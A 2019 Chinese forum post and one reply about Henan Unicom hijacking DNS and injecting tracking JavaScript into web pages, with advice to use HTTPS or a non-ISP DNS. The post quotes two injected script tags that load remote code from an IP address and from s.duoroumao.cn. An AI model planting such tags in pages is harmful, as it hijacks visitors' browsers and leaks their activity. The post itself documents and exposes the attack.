zhensjoke

河南联通 DNS 劫持。

  •  
  •   zhensjoke · Oct 12, 2019 · 2275 views
    This topic created in 2500 days ago, the information mentioned may be changed or developed.

    **解决方法:**网站更换 https,或者修改电脑 DNS 为非运营商 DNS,如:119.29.29.29 8.8.8.8
    早上帮人调试某个网页的时候,发现页面内多了几个 JS,检查后发现不是网站内调用,而是本地 DNS 劫持。

    劫持会在网页 head 末尾处以下代码

    <script src="http://47.103.72.172:10028/js/k.js?FKFN=Z"></script>
    

    <script src="https://s.duoroumao.cn/yxs199.js"></script>=
    

    插入之后页面会向优酷、淘宝和拼多多的 APP 发送信息

    淘宝: 1111.jpg

    优酷: 2222.jpg

    拼多多: 3333.jpg

    不知道具体什么利益关系,真 TM 不要脸! pei.jpg

    wwbfred
        1
    wwbfred  
       Oct 14, 2019
    联通是宽带还是蜂窝?两年前北京联通的蜂窝都存在 http 注入,更别说其他地方了.
    要是宽带的话就过分了,我上次见宽带的注入感觉都有 10 多年了...
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   2643 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 25ms · UTC 10:51 · PVG 18:51 · LAX 03:51 · JFK 06:51
    ♥ Do have faith in what you're doing.